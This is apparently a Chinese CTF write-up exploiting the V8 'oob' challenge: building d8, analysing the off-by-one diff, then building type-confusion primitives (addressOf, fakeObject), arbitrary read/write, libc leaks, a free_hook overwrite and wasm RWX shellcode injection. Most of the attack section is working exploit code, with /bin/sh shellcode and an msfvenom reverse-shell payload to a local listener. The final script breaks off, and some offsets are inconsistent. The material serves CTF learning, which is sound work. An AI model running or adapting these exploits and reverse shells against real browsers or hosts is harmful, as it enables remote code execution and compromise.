可以利用unsorted bin attack覆盖global_max_fast,在内存size可控的条件下可以实现FASTBIN数组之后的任意地址写入堆块内存地址。这里我们可以将stdout地址覆写为堆内存地址,在mmap中伪造IO_FILE实现信息泄露。之后的劫持执行流可以采用上面的覆写_IO_list_all,_dl_open_hook来完成。

1
2
3
4
5
6
7
8
9
> #define fastbin_index(sz) \
> ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
>
> #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
>
> mfastbinptr fastbinsY[NFASTBINS]
>
> #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
>

从上面的几个宏来看,如果修改了global_max_fast即MAX_FAST_SIZE就可以将大小大于0x80的堆块写入main_arena 中FASTBIN数组偏移的相应位置。

OOB

编译V8

额,编译V8就是个大坑。。。

V8chrome中的JS解释器,经过v8编译之后的可执行文件为d8。下载源码的过程需要连接外网,因此可以通过设置代理或者直接在云服务器上操作。

首先安装一些之后用到的工具

1
2
3
4
5
6
7
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
# clone并且configure
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

接下来就是下载源码

1
2
3
mkdir v8
cd v8
fetch v8

下载源码过程中中断的话,可以使用gclient syc继续下载。

这里我使用的是主机的代理,在系统选项中设置好即可(all_proxy环境变量设置)。但是gclinet syc中的某些命令在设置完代理之后也无法连接google的服务器,这里将download_from_google_storage.py中的下载改写为调用wget下载(改写后的脚本

在编译之前需要将源码的版本reset到和题目一致的版本,并将题目给出的diff文件应用到源码中

1
2
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff

编译

1
2
sudo tools/dev/v8gen.py x64.debug
sudo ../../ninja/ninja -C out.gn/x64.debug d8

这里编译时出现了错误

图片无法显示,请联系作者

应该是gcc/libc版本的问题,在ubuntu 16.04成功编译。

调试V8

V8的官方团队编写了调试V8用的gdbinit,位于tools目录之下,在gdbinit中添加source

1
2
source /home/pwn/Desktop/v8/v8-source/v8/tools/gdbinit
source /home/pwn/Desktop/v8/v8-source/v8/tools/gdb-v8-support.py

在调试时使用allow-natives-syntax能够定义一些V8运行时支持的函数,便于调试。一般调试为gdb ./d8;set args --allow-natives-syntax ./test.js。使用%DebugPrint(var)来输出变量的详细信息,使用%SystemBreak()触发调试中断。job可以可视化的显示JS对象的内存结构,telescope addr [count]可用来输出addr地址之后count长度的内存数据。这里需要注意的是在release版本下没有调试符号没办法调用job命令。编写一个test.js用来调试

1
2
3
4
5
6
7
8
9
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);
%SystemBreak(); //触发第一次调试
%DebugPrint(b);
%SystemBreak(); //触发第二次调试
%DebugPrint(c);
%SystemBreak(); //触发第三次调试

gdb运行d8

图片无法显示,请联系作者

首先打印出了变量a的内存地址,接着进入了第一次调试。我们看一下a的内存结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x3d31081081d5
0x3d31081081d5: [JSArray]
- map: 0x3d31082c3865 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3d310828b2b9 <JSArray[0]>
- elements: 0x3d31082920b5 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x3d31080426e5 <FixedArray[0]> {
0x3d310804464d: [String] in ReadOnlySpace: #length: 0x3d3108202161 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3d31082920b5 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

其中map表示了当前结构体的类型,elements表示对象元素,存储数据的地方,length表示元素的个数,properties为属性。这里需要注意的是V8中只有数字和对象两种结构,为了区分二者,V8在所有的对象的内存地址的末尾都加了1。因此该对象的内存地址为0x3d31081081d4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> c
Continuing.
DebugPrint: 0x3d3108108209: [JSArray]
- map: 0x3d31082c3905 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3d310828b2b9 <JSArray[0]>
- elements: 0x3d31081081e9 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x3d31080426e5 <FixedArray[0]> {
0x3d310804464d: [String] in ReadOnlySpace: #length: 0x3d3108202161 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3d31081081e9 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}

int类型和double类型的数组的数据结构相似,elements对象的地址就在array结构的不远处。下面再看看对象数组的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> c
Continuing.
DebugPrint: 0x3d3108108229: [JSArray]
- map: 0x3d31082c3955 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x3d310828b2b9 <JSArray[0]>
- elements: 0x3d3108108219 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x3d31080426e5 <FixedArray[0]> {
0x3d310804464d: [String] in ReadOnlySpace: #length: 0x3d3108202161 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3d3108108219 <FixedArray[2]> {
0: 0x3d31081081d5 <JSArray[3]>
1: 0x3d3108108209 <JSArray[3]>
}

我们可以看到在elements中存储的是两个数组的地址。从上面的分析中我们可以得到不同类型数组的map值是不同的。存储数据的elements对象的地址在数组地址之前,可见首先是分配了存储数据的elements对象,在分配了结构体的内存。

V8对象结构

1
2
3
4
5
6
7
8
9
10
elements------->MAP
Length
element_1
...
element_n
ArrayObject---->MAP
ProtoType
elements指针
Length
properties

漏洞分析

浏览器的CTF一般会采用两种方式,一种是直接给出一个cve漏洞,另一个就是给出一个diff文件,这需要我们自己去下载commit的源码,编译得到diff补丁过的浏览器程序。oob就给出了一个diff文件,这个我们已经编译完成。下面我们分析一下diff文件。

首先先是注册了oob函数,在内部表示为kArrayOob

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",

接着实现了具体的oob函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);

后面的代码将该函数与kArrayOob关联起来。我们主要分析一下oob函数的实现。因为C++成员变量的第一个参数一定是this指针。因此当函数的参数大于1的时候直接返回,当参数没有参数的时候返回length地址处的内容,当参数等于1的时候将第一个参数写入数组的第length位置。

由于数组是从0开始计数的,因此写入第length个位置的时候就存在off-by-one漏洞。

1
2
3
4
5
6
7
8
var a = [1,2.2,3];
%DebugPrint(a);
a.oob();
%SystemBreak(); //触发第一次调试
a.oob(3);
console.log(a.toString());
%DebugPrint(a);
%SystemBreak(); //触发第二次调试

运行到第二次调试之后

图片无法显示,请联系作者

我们可以看到数组存储数据的elements的第length个数据已经被改写为了参数1的浮点类型。并且可以注意到此时覆写的恰好就是数组结构的MAP类型。同时如果将a.oob()输出的浮点值转换为16进制可以得知其就是MAP的值,也就是可以任意读写MAP的属性值。

只有浮点类型的数组,数组结构和elements的结构相邻

漏洞利用

从上述我们可以任意读写数组结构的MAP值,我们可以利用”类型混淆”漏洞。即利用oobA类型的MAP值读取出来并写入到B类型的MAP区域中,就会导致B对象变成了A对象的数据类型,V8就会按照处理A对象的方法处理B对象的相关数据和结构体。

当我们将一个对象数组B的类型改写为浮点类型数据的时候,访问B[0]返回的就是B[0]对象的内存地址了;同理当我们将浮点类型数组A改写为对象数组的时候,访问A[0]就是以A[0]为内存地址的一个JS对象了。

编写addressOf和fakeObject

要编写的两个功能原语addressOf用来泄露某个对象的地址,fakeObject则将一个内存地址伪造为一个对象。

首先定义两个全局对象,获取其对象的MAP

1
2
3
4
5
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

接着是泄露指定对象地址的addressOf函数,这里注意的是我们得到的数据都是浮点类型的数据,而我们需要的是内存中的16进制的数据,因此需要编写转换函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// 泄露指定对象的地址
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;//1n是BigNumber
obj_array.oob(obj_array_map);
return addr;
}

接着是将给定内存地址伪造为指定JS对象的fakeObject,这里只需要修改MAP值就可以了。

1
2
3
4
5
6
7
8
9
// 把某个地址转换为对象
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

这里需要注意的是V8会给对象的内存地址+1,因此我们获取得到的对象地址需要-1,在写入是需要将内存地址+1

获取任意内存读写

如何凭借上面两个函数实现内存的任意读写呢。如果我们在一块内存区域内布置上伪造的数据结构,通过fakeObject将其强制转换为一个数组对象,由于elements指针是我们可控的,如果我们将该指针修改为我们想要访问的内存地址,后续对该数组对象的访问即为对修改后的内存地址指向的内存区域的访问,也就实现了内存的任意读写。

具体的构造如下,首先我们先创建一个浮点类型的数组对象float_array,可以用addressOf函数来泄露float_array的地址,然后通过elements地址与fake_array结构地址之前的关系即address_elements = address_array - (0x10 + n*8),其中n为数组中元素的个数,既可以到的elements的地址。elements+0x10elements中存储数据的区域。

1
2
3
4
5
6
7
8
var fake_array = [
float_array_map,//fake to be a float arr object
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];

在得到elements+0x10即数据存储区域的地址之后可以利用fakeObject将该部分的内存区域强制转换为对象fake_object,之后我们访问对象fake_object[0]即访问的就是0x41414141+0x10指向的内存地址。任意内存读写的功能原语如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];

var fake_arr_addr = addressOf(fake_array);
var fake_object_addr = fake_arr_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

//randomRead

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
//console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
//console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

测试一下代码发现已经可以任意读写

图片无法显示,请联系作者

由于后续写入利用浮点类型数组写入会导致地址的低位被修改而无法正常写入,还可以利用DataView对象。DataView对象的backing_store会指向申请的data_buf,将该指针修改为我们想要任意写的内存地址,利用setBigUint64方法即可写入数据

1
2
3
4
5
6
7
8
9
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function writeDataview(addr,data){
write64(buf_backing_store_addr,addr);
data_view.setBigUint64(0,data,true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

Getshell

在传统的pwn中我们通过泄露出libc基址,计算出free_hook,malloc_hook,利用任意写将hook函数修改为system,one_gadget的地址从而实现getshell。这种思路在v8中也同样可以使用

此外,v8中还有一种webassemblywasm技术,使得v8可以直接执行其他高级语言生成的机器码,加快运行效率,存储wasm的内存页是rwx权限的,因此我们可以将shellcode写入到原本属于wasm的内存页中,后续在调用wasm函数接口的时候,实际上就是调用了我们部署的shellcode

传统的堆利用思路

现在已经实现了内存任意写,后面就是泄露libc地址了。

随机泄露

我们用telescope查看JS对象很远的内存区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x000008d78aa0f9c0-0x8000 0x500
00:0000│ 0x8d78aa079c0 —▸ 0x2fd70f04a4b9 ◂— 0x7100002beee20c04
01:0008│ 0x8d78aa079c8 —▸ 0x2fd70f04a4f1 ◂— 0x7100002beee20c04
02:0010│ 0x8d78aa079d0 —▸ 0x2fd70f04a529 ◂— 0x7100002beee20c04
03:0018│ 0x8d78aa079d8 —▸ 0x2fd70f04a561 ◂— 0x7100002beee20c04
...
4ab:2558│ 0x8d78aa09f18 —▸ 0x555555eebe40 ◂— push rbp # d8中的指令
4ac:2560│ 0x8d78aa09f20 —▸ 0x2b619e680b71 ◂— 0x200002b619e6801
4ad:2568│ 0x8d78aa09f28 —▸ 0x555555eebe40 ◂— push rbp

pwndbg> vmmap 0x555555eebe40
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5555557e7000 0x5555562af000 r-xp ac8000 293000 /home/pwn/Desktop/v8/v8-source/v8/out.gn/x64.release/d8 +0x704e40

pwndbg> x/2gx 0x555555eebe40
0x555555eebe40 <v8::(anonymous namespace)::WebAssemblyCompile(v8::FunctionCallbackInfo<v8::Value> const&)>: 0x56415741e5894855 0xec81485354415541

在距离JS对象很远内存区域中一定会存在d8 binary中的指令。而无论ASLR带来的地址如何随机化,其低地址的三个字节一定是0xe40,地址中存储的内容也一定会是0x56415741e5894855

因此只要我们从JS对象的起始地址向低地址处搜索,每次读取8字节内容,如果低3字节的内容为0xe40,且该地址处存储的内容为0x56415741e5894855,则判断该地址即为d8中指令的地址了。获取地址的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
while(1)
{
start_addr -= 0x8n;
leak_d8_addr = read64(start_addr);
if((leak_d8_addr & 0xfffn) == 0x05b0n && read64(leak_d8_addr) == 0x56415741e5894855n)
{
console.log("[*] Success find leak_d8_addr: 0x" + hex(leak_d8_addr));
break;
}
}
console.log("[*] Done.");

运行结果如下

图片无法显示,请联系作者

那么在获取得到d8的指令地址之后,我们就可以计算出d8的基址,读取got表中的malloc,free的地址获取libc基址,覆盖free_hook/malloc_hooksystem/one_gadget即可以getshell。需要注意的是这里借助DataView实现地址写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// libc2.31

var d8_base_addr = leak_d8_addr - 0x997e40n;
var d8_got_libc_start_main_addr = d8_base_addr + 0xd98730n;
console.log("[*] d8_got_libc_start_main_addr: 0x" + hex(d8_got_libc_start_main_addr));

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x1eeb28n;


console.log("[*] find libc addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc system address: 0x" + hex(libc_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

writeDataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

由于v8在退出的时候会进行各种各样的free操作,因此一定会触发free。但是此时参数是不可控的,因此我们需要申请一个局部buffer,然后释放从而触发free

1
2
3
4
5
6
7
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
get_shell();

最终可以成功getshell

图片无法显示,请联系作者

稳定泄露

dbug版本中Array->MAP->constructor->code内存的固定偏移处存储了v8二进制中特定的函数调用

图片无法显示,请联系作者

我们看到存在一个Builtins_ArrayConstructor函数的调用。在debug版本中,该函数的地址位于libv8.so中。而在release版本中,在调试中发现MAP结构中并没有存储constructor的地址,而是在数据结构+0x28位置。

图片无法显示,请联系作者

我们看到release版本中存储的Builtins_ArrayConstructor函数调用位于d8中,因此我们就可以泄露出d8中的指令的地址,之后的getshell与随机泄露中相同。

图片无法显示,请联系作者

getshell的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//libc2.31
var a = [1.1, 2.2, 3.3];
//%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
console.log("[*] find addressOf(a.constructor): 0x" + hex(addressOf(a.constructor)));
console.log("[*] find code addr: 0x" + hex(code_addr));
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
//%SystemBreak();

console.log("[*] Done.");

//var d8_base_addr = leak_d8_addr - 0x997e40n;
var d8_base_addr = leak_d8_addr - 0xad54e0n;
var d8_got_libc_start_main_addr = d8_base_addr + 0xd98730n;
console.log("[*] d8_got_libc_start_main_addr: 0x" + hex(d8_got_libc_start_main_addr));

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x1eeb28n;


console.log("[*] find libc addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc system address: 0x" + hex(libc_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

writeDataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
get_shell();

最终getshell

图片无法显示,请联系作者

wasm Getshell

wasm从安全性上不允许通过浏览器直接调用系统函数,只能运行数学计算,图像处理等系统无关的高级语言代码。因此我们需要将原来wasm可执行内存空间中的代码替换为shellcode,进而执行。

可以从这个网站在线生成wasm的代码,调试的代码如下

1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main();
%DebugPrint(f);
%SystemBreak();

我们可以通过Function_Object-->shared_info-->data-->instance,通过instance+0x88既可以找到wasm的可执行内存页的地址

图片无法显示,请联系作者

寻找上面的地址泄露逻辑,可执行内存地址的泄露代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
%SystemBreak();

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

%DebugPrint(f);
%SystemBreak();

可以成功的泄露可执行内存页的地址

图片无法显示,请联系作者

因此后续我们将shellcode写入这个地址就可以在调用wasm函数接口的时候触发我们的shellcode了。shellcode可以在exploit-db中寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* /bin/sh for linux x64
char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
*/
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for(var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);

f();

最终可以getshell

图片无法显示,请联系作者

反弹shell

可以用msfvenom来生成反弹shellshellcode

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=3389 -f python -o ~/Desktop/shellcode.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def shell2x64(shellcode):
if len(shellcode) % 8 == 0:
length = len(shellcode)
else:
length = 8 * (len(shellcode) // 8 + 1)
shellcode = shellcode.ljust(length, b"\x90")
i = 0
de_shellcode = ""
while i <= length - 8:
de_shellcode += hex(u64(shellcode[i:i + 8]))
if i != length - 8:
de_shellcode += "n, "
i += 8
print(de_shellcode)

buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\x0d\x3d\x7f\x00\x00\x01\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

shell2x64(buf)

最终监听3389端口getshell

图片无法显示,请联系作者

最终脚本如下`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

// 泄露指定对象的地址
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
// type(obj)-->type(float)
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}

// 把某个地址转换为对象
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];

var fake_arr_addr = addressOf(fake_array);
var fake_object_addr = fake_arr_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

//randomRead

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
//console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
//console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}


var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function writeDataview(addr,data){
write64(buf_backing_store_addr,addr);
data_view.setBigUint64(0,data,true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

/*var a = [1.1, 2.2, 3.3];
//%DebugPrint(a);
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
while(1)
{
start_addr -= 0x8n;
leak_d8_addr = read64(start_addr);
if((leak_d8_addr & 0xfffn) == 0xe40n && read64(leak_d8_addr) == 0x56415741e5894855n)
{
console.log("[*] Success find leak_d8_addr: 0x" + hex(leak_d8_addr));
break;
}
}

var a = [1.1, 2.2, 3.3];
//%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
console.log("[*] find addressOf(a.constructor): 0x" + hex(addressOf(a.constructor)));
console.log("[*] find code addr: 0x" + hex(code_addr));
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
//%SystemBreak();

console.log("[*] Done.");

//var d8_base_addr = leak_d8_addr - 0x997e40n;
var d8_base_addr = leak_d8_addr - 0xad54e0n;
var d8_got_libc_start_main_addr = d8_base_addr + 0xd98730n;
console.log("[*] d8_got_libc_start_main_addr: 0x" + hex(d8_got_libc_start_main_addr));

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x1eeb28n;


console.log("[*] find libc addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc system address: 0x" + hex(libc_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

writeDataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
get_shell();*/

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
//%SystemBreak();

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
